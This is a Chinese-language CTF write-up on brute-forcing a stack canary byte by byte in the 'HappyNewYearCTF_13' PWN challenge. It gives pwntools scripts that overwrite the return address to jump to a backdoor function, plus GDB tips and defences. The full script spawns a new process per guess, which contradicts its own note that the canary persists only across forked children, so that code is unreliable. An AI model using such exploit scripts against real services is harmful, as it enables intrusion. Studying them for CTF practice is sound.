1. 题目背景与核心挑战解析
HappyNewYearCTF_13这道PWN题的核心在于绕过栈保护机制Canary。Canary是现代编译器(如GCC)引入的一种栈溢出防护机制,它会在函数调用时在栈上放置一个随机值(称为"金丝雀"),函数返回前验证该值是否被修改。传统的栈溢出攻击会覆盖这个值从而触发__stack_chk_fail终止程序。
这道题的特殊性在于题目名称明确提示了"爆破canary"的解题方向。在CTF比赛中,当题目给出这类明确提示时,通常意味着存在可预测或可暴力破解的canary值。实际场景中,Linux系统的canary通常从/dev/urandom读取,但在某些特殊情况下(如程序未正确初始化随机数种子、fork进程未重新生成canary、或题目故意设计),canary可能保持不变或存在规律。
2. Canary爆破原理与技术实现
2.1 Canary的内存布局
在x86-64架构下,典型的栈结构如下(高地址到低地址):
|-----------------| | 函数参数 | |-----------------| | 返回地址 | |-----------------| | 旧的rbp | |-----------------| | canary值 | ← __stack_chk_guard |-----------------| | 局部变量 | |-----------------|2.2 爆破技术实现步骤
确定canary位置:通过逆向分析或动态调试找到canary在栈帧中的偏移量。常用工具:
- pwndbg的
canary命令 - 观察程序崩溃时输出的
*** stack smashing detected ***错误
- pwndbg的
逐字节爆破:canary的最低位字节通常是
\x00(null字节用于防止字符串操作溢出),我们从第二个字节开始爆破:
canary = b"\x00" for i in range(7): for byte in range(256): payload = b"A"*offset + canary + bytes([byte]) try: p.sendline(payload) resp = p.recv(timeout=1) if b"stack smash" not in resp: canary += bytes([byte]) break except: continue- 验证canary:成功爆破后,构造包含完整canary的payload应能使程序正常执行到返回,而不会触发栈保护错误。
关键技巧:在fork型服务中,canary在子进程间保持不变,爆破一次即可重复使用。这是CTF中常见的考点。
3. 完整攻击链构建
3.1 漏洞利用流程
- 泄漏或爆破canary
- 覆盖返回地址实现控制流劫持
- 执行ret2text攻击(题目提示存在后门函数)
3.2 实战代码示例
from pwn import * context.log_level = 'debug' # 爆破canary def brute_canary(): canary = b"\x00" for i in range(7): for byte in range(256): p = process("./happynewyear") p.recvuntil("input:") payload = b"A"*104 + canary + bytes([byte]) p.send(payload) try: if b"stack smash" not in p.recv(timeout=1): canary += bytes([byte]) log.success(f"Canary byte {i+1}: {hex(byte)}") p.close() break p.close() except: p.close() continue return canary canary = brute_canary() log.info(f"Got canary: {canary.hex()}") # 构造最终payload p = process("./happynewyear") elf = ELF("./happynewyear") backdoor = elf.sym["backdoor"] payload = flat([ b"A"*104, canary, b"B"*8, # 覆盖rbp p64(backdoor) ]) p.send(payload) p.interactive()4. 调试技巧与常见问题
4.1 GDB调试要点
gdb ./happynewyear -ex "b *main" -ex "r" # 查看canary值 x/gx $fs:0x28 # 查看栈布局 telescope $rsp 204.2 常见踩坑点
- 字节序问题:x86架构是小端序,构造payload时要注意字节顺序
- 输入处理差异:有些程序使用
gets而有些用read,前者会在null字节截断 - alarm干扰:题目可能设置alarm导致连接中断,需要patch二进制或快速爆破
- fork服务器优化:对于fork服务器,爆破第一个字节后可以保持连接继续爆破后续字节
5. 防御机制与进阶思考
虽然我们成功爆破了canary,但在实际安全开发中应该:
- 强化canary生成:使用更安全的随机源(如getrandom系统调用)
- 结合其他防护:启用PIE、RELRO等保护机制
- 输入严格验证:对所有用户输入进行长度检查和内容过滤
这道题展示了即使存在栈保护,在特定条件下仍可能被绕过。在更高级的CTF题目中,可能会遇到需要结合格式化字符串漏洞泄漏canary,或通过FSOP等技巧绕过保护的情况。对于想深入学习PWN的选手,建议从以下方向进阶:
- 研究glibc中__stack_chk_fail的实现
- 学习SSP(Stack Smashing Protector)的编译选项
- 探索在部分覆盖条件下的canary爆破技巧